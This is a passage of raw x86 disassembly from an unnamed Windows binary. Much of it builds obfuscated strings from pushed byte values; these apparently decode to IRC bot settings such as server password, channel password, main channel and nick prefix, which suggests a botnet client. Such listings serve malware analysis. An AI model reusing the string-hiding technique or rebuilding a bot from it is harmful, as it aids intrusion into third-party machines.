		push	3Fh
		push	9
		lea	edx, [esp+90h]
		push	13h
		push	edx
		call	sub_4019B5
		add	esp, 6Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 34h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edi, [esi+0E7Fh]
		mov	ecx, esi
		push	edi
		mov	byte ptr [esp+38Ch], 35h
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1A0h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		mov	byte ptr [esp+3CCh], 36h
		push	13h
		lea	eax, [esp+8Ch]
		push	eax
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 37h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esi+0F11h]
		mov	byte ptr [esp+388h], 38h
		push	ecx
		mov	ecx, esi
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	0Ch
		push	13h
		push	13h
		push	3Fh
		push	5
		push	13h
		push	15h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+84h]
		push	13h
		push	edx
		mov	byte ptr [esp+3D0h], 39h
		call	sub_4019B5
		add	esp, 60h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 3Ah
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	eax, [esi+107Eh]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 3Bh
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+10h]
		mov	[esp+10h], edi
		push	ecx
		mov	ecx, offset byte_4D637F
		call	sub_401A5F
		lea	ecx, [esp+0B0h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	0Eh
		push	1
		push	8
		push	3
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+88h]
		push	13h
		push	edx
		mov	byte ptr [esp+3D4h], 3Ch
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 3Dh
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	eax, [esi+1234h]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 3Eh
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+98h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	0Eh
		push	1
		push	8
		push	3
		push	0Eh
		push	9
		push	1
		push	0Dh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		mov	byte ptr [esp+3B4h], 3Fh
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 40h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edx, [esi+127Dh]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 41h
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+188h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	14h
		push	12h
		push	0Fh
		push	10h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+78h]
		push	13h
		push	eax
		mov	byte ptr [esp+3C4h], 42h
		call	sub_4019B5
		add	esp, 54h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 43h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esi+11EBh]
		mov	byte ptr [esp+388h], 44h
		push	ecx
		mov	ecx, esi
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1B8h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+80h]
		push	13h
		push	edx
		mov	byte ptr [esp+3CCh], 45h
		call	sub_4019B5
		add	esp, 5Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 46h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	eax, [esi+11A2h]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 47h
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+68h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	18h
		push	9
		push	6
		push	5
		push	12h
		push	10h
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		mov	byte ptr [esp+3C0h], 48h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+90h]
		push	13h
		push	ecx
		call	sub_4019B5
		add	esp, 6Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 49h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edi, [esi+10C7h]
		mov	ecx, esi
		push	edi
		mov	byte ptr [esp+38Ch], 4Ah
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0C8h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+88h]
		push	13h
		push	edx
		mov	byte ptr [esp+3D4h], 4Bh
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 4Ch
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	eax, [esi+1159h]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 4Dh
		call	sub_401CC1
; ---------------------------------------------------------------------------
		mov	[esp+358h], bl
		lea	ecx, [esp+14h]
		call	sub_401226
		lea	ecx, [esp+44h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	0Ch
		push	13h
		push	13h
		push	3Fh
		push	5
		push	13h
		push	15h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+84h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3D0h], 4Eh
		call	sub_4019B5
		add	esp, 60h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 4Fh
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edx, [esi+12C6h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 50h
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	eax, [esp+10h]
		mov	ecx, offset byte_4D637F
		push	eax
		mov	[esp+14h], edi
		call	sub_401A5F
		push	offset byte_446F60
		push	offset word_4E6E8A
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+230h]
		call	sub_401424
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+358h], 51h
		call	sub_401424
		push	56D2h
		push	539h
		mov	byte ptr [esp+360h], 52h
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 8
		lea	ecx, [esp+230h]
		push	eax
		push	offset dword_4437F4
		push	ecx
		call	sub_40102D
		push	56D2h
		push	539h
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 14h
		lea	edx, [esp+260h]
		push	eax
		push	offset dword_4437F4
		push	edx
		call	sub_40102D
		sub	esp, 0Ch
		lea	eax, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_4014C9
		lea	ecx, [esi+606h]
		push	ecx
		mov	ecx, esi
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+64Fh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+805h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+84Eh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+897h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+450h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+5Ch]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+499h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		mov	ecx, esp
		lea	edx, [esp+44h]
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+52Bh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+574h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+0B28h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+5Ch]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+8E0h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+278h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+3BEh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+230h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+407h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+1E8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+5BDh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+2A8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+698h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		lea	edx, [esp+2C0h]
		push	edx
		call	sub_4014C9
		lea	eax, [esi+72Ah]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+290h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+6E1h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+128h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+773h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+158h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+7BCh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	offset word_4E6E8A
		call	sub_4014C9
		lea	ecx, [esi+251h]
		push	ecx
		mov	ecx, esi
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+170h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+29Ah]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+140h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+2E3h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+188h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+32Ch]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+248h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+375h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		push	0
		mov	ecx, offset byte_4D637F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 16Dh
		call	sub_4017E4
		push	eax
		push	offset byte_44741D
		mov	ecx, offset word_448D06
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D637F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 1B6h
		call	sub_4017E4
		push	eax
		push	offset dword_4473D4
		mov	ecx, offset word_448D06
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D637F
		call	sub_40146A
		mov	ecx, [eax]
		call	sub_4017E4
		push	eax
		push	offset dword_4472B0
		mov	ecx, offset word_448D06
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D637F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 124h
		call	sub_4017E4
		push	eax
		push	offset word_447342
		mov	ecx, offset word_448D06
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D637F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 0DBh
		call	sub_4017E4
		push	eax
		push	offset byte_4472F9
		mov	ecx, offset word_448D06
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D637F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 92h
		call	sub_4017E4
		push	eax
		push	offset byte_44738B
		mov	ecx, offset word_448D06
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D637F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 1FFh
		call	sub_4017E4
		push	eax
		push	offset byte_4474AF
		mov	ecx, offset word_448D06
		call	sub_401596
		lea	ecx, [esp+248h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esp+218h]
		mov	byte ptr [esp+370h], 53h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+8Ch], esp
		push	eax
		call	sub_401861
		lea	ecx, [esp+110h]
		mov	byte ptr [esp+388h], 54h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+0A8h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esp+140h]
		mov	byte ptr [esp+3A0h], 55h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+0C4h], esp
		push	eax
		call	sub_401861
		mov	ecx, offset word_448C8E
		mov	byte ptr [esp+3B8h], 52h
		call	sub_40137F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+358h], 51h
		call	sub_401226
		lea	ecx, [esp+230h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		mov	byte ptr [esp+358h], 1Dh
		call	sub_401226
		lea	ecx, [esp+2Ch]
		mov	byte ptr [esp+358h], 1Ch
		call	sub_401226
		lea	ecx, [esp+278h]
		mov	byte ptr [esp+358h], 1Bh
		call	sub_401226
		lea	ecx, [esp+2C0h]
		mov	byte ptr [esp+358h], 1Ah
		call	sub_401226
		lea	ecx, [esp+110h]
		mov	byte ptr [esp+358h], 19h
		call	sub_401226
		lea	ecx, [esp+2A8h]
		mov	byte ptr [esp+358h], 18h
		call	sub_401226
		lea	ecx, [esp+140h]
		mov	byte ptr [esp+358h], 17h
		call	sub_401226
		lea	ecx, [esp+290h]
		mov	byte ptr [esp+358h], 16h
		call	sub_401226
		lea	ecx, [esp+170h]
		mov	byte ptr [esp+358h], 15h
		call	sub_401226
		lea	ecx, [esp+0C8h]
		mov	byte ptr [esp+358h], 14h
		call	sub_401226
		lea	ecx, [esp+1A0h]
		mov	byte ptr [esp+358h], 13h
		call	sub_401226
		lea	ecx, [esp+218h]
		mov	byte ptr [esp+358h], 12h
		call	sub_401226
		lea	ecx, [esp+1D0h]
		mov	byte ptr [esp+358h], 11h
		call	sub_401226
		lea	ecx, [esp+248h]
		mov	byte ptr [esp+358h], 10h
		call	sub_401226
		lea	ecx, [esp+200h]
		mov	byte ptr [esp+358h], 0Fh
		call	sub_401226
		lea	ecx, [esp+0E0h]
		mov	byte ptr [esp+358h], 0Eh
		call	sub_401226
		lea	ecx, [esp+0F8h]
		mov	byte ptr [esp+358h], 0Dh
		call	sub_401226
		lea	ecx, [esp+2F0h]
		mov	byte ptr [esp+358h], 0Ch
		call	sub_401226
		lea	ecx, [esp+320h]
		mov	byte ptr [esp+358h], 0Bh
		call	sub_401226
		lea	ecx, [esp+2D8h]
		mov	byte ptr [esp+358h], 0Ah
		call	sub_401226
		lea	ecx, [esp+308h]
		mov	byte ptr [esp+358h], 9
		call	sub_401226
		lea	ecx, [esp+338h]
		mov	byte ptr [esp+358h], 8
		call	sub_401226
		lea	ecx, [esp+68h]
		mov	byte ptr [esp+358h], 7
		call	sub_401226
		lea	ecx, [esp+128h]
		mov	byte ptr [esp+358h], 6
		call	sub_401226
		lea	ecx, [esp+158h]
		mov	byte ptr [esp+358h], 5
		call	sub_401226
		lea	ecx, [esp+0B0h]
		mov	byte ptr [esp+358h], 4
		call	sub_401226
		lea	ecx, [esp+98h]
		mov	byte ptr [esp+358h], 3
		call	sub_401226
		lea	ecx, [esp+188h]
		mov	byte ptr [esp+358h], 2
		call	sub_401226
		lea	ecx, [esp+1B8h]
		mov	byte ptr [esp+358h], 1
		call	sub_401226
		lea	ecx, [esp+80h]
		mov	byte ptr [esp+358h], 0
		call	sub_401226
		lea	ecx, [esp+1E8h]
		mov	dword ptr [esp+358h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+350h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 350h
		retn
; ---------------------------------------------------------------------------
		db 5C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409450	proc near		; CODE XREF: sub_40146Aj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_401974
		mov	edi, [esp+8+arg_0]
		cmp	eax, edi
		ja	short loc_409468
		mov	ecx, esi
		call	sub_40190B
; ---------------------------------------------------------------------------


loc_409468:				; CODE XREF: sub_409450+Fj
		mov	ecx, esi
		call	sub_401A37
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_409450	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409490	proc near		; CODE XREF: sub_401A5Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40128A
		push	eax
		mov	ecx, esi
		call	sub_40168B
		pop	esi
		retn	4
sub_409490	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4094C0	proc near		; CODE XREF: sub_401A37j
		mov	eax, [ecx+4]
		retn
sub_4094C0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4094E0	proc near		; CODE XREF: sub_40128Aj
		mov	eax, [ecx+8]
		retn
sub_4094E0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409500	proc near		; CODE XREF: sub_401974j
		mov	edx, [ecx+4]
		test	edx, edx
		jnz	short loc_40950A
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40950A:				; CODE XREF: sub_409500+5j
		mov	eax, [ecx+8]
		sub	eax, edx
		sar	eax, 2
		retn
sub_409500	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409530	proc near		; CODE XREF: sub_40168Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, ecx
		call	sub_401A37
		mov	edx, [esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		push	edx
		mov	esi, eax
		push	1
		sub	esi, ecx
		push	eax
		mov	ecx, edi
		sar	esi, 2
		call	sub_401B9A
		mov	ecx, edi
		call	sub_401A37
		lea	eax, [eax+esi*4]
		pop	edi
		pop	esi
		retn	8
sub_409530	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409580	proc near		; CODE XREF: sub_40190Bj

var_40		= byte ptr -40h
var_39		= byte ptr -39h
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_C		= dword	ptr -0Ch

		push	0FFFFFFFFh
		push	offset SEH_409580
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [esp+3Ch+var_39]
		lea	ecx, [esp+3Ch+var_38]
		push	eax
		push	offset aInvalidVectorT ; "invalid vector<T> subscript"
		nop
		call	near ptr 76081F67h
		lea	ecx, [esp+44h+var_40]
		mov	[esp+44h+var_C], 0
		push	ecx
		lea	ecx, [esp+48h+var_30]
		call	near ptr 760A0430h
		nop
		lea	edx, [esp+48h+var_34]
		push	offset dword_43F080
		push	edx
		call	sub_436832
sub_409580	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409600	proc near		; CODE XREF: sub_401B9Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+10h+arg_4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		sub	ecx, eax
		sar	ecx, 2
		cmp	ecx, edi
		jnb	loc_4096CB
		mov	ecx, esi
		call	sub_401974
		cmp	edi, eax
		jnb	short loc_409633
		mov	ecx, esi
		call	sub_401974
		mov	ebp, eax
		jmp	short loc_409635
; ---------------------------------------------------------------------------


loc_409633:				; CODE XREF: sub_409600+26j
		mov	ebp, edi


loc_409635:				; CODE XREF: sub_409600+31j
		mov	ecx, esi
		call	sub_401974
		mov	ebx, eax
		push	0
		add	ebx, ebp
		mov	ecx, esi
		push	ebx
		call	sub_401CAD
; ---------------------------------------------------------------------------
		mov	edx, [esp+10h+arg_0]
		mov	ebp, eax
		mov	eax, [esi+4]
		push	ebp
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4016D6
		mov	ecx, [esp+10h+arg_8]
		mov	[esp+10h+arg_4], eax
		push	ecx
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_401177
		mov	edx, [esp+10h+arg_4]
		mov	ecx, [esi+8]
		lea	eax, [edx+edi*4]
		mov	edx, [esp+10h+arg_0]
		push	eax
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4016D6
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40170D
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_401294
; ---------------------------------------------------------------------------
		lea	eax, [ebp+ebx*4+0]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_401974
		add	eax, edi
		mov	[esi+4], ebp
		pop	edi
		lea	ecx, [ebp+eax*4+0]
		mov	[esi+8], ecx
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4096CB:				; CODE XREF: sub_409600+17j
		mov	ebx, [esp+10h+arg_0]
		mov	edx, eax
		sub	edx, ebx
		sar	edx, 2
		cmp	edx, edi
		jnb	short loc_409729
		lea	ebp, ds:0[edi*4]
		lea	ecx, [ebx+ebp]
		push	ecx
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_4016D6
		mov	eax, [esi+8]
		mov	edx, [esp+10h+arg_8]
		mov	ecx, eax
		push	edx
		sub	ecx, ebx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_401177
		mov	edx, [esp+10h+arg_8]
		mov	eax, [esi+8]
		push	edx
		push	eax
		push	ebx
		call	sub_401F96
		mov	eax, [esi+8]
		add	esp, 0Ch
		add	eax, ebp
		mov	[esi+8], eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_409729:				; CODE XREF: sub_409600+D8j
		test	edi, edi
		jbe	short loc_409763
		shl	edi, 2
		push	eax
		push	eax
		sub	eax, edi
		mov	ecx, esi
		push	eax
		call	sub_4016D6
		mov	eax, [esi+8]
		push	eax
		sub	eax, edi
		push	eax
		push	ebx
		call	sub_401CCB
		mov	ecx, [esp+1Ch+arg_8]
		lea	edx, [edi+ebx]
		push	ecx
		push	edx
		push	ebx
		call	sub_401F96
		mov	eax, [esi+8]
		add	esp, 18h
		add	eax, edi
		mov	[esi+8], eax


loc_409763:				; CODE XREF: sub_409600+12Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_409600	endp

; ---------------------------------------------------------------------------
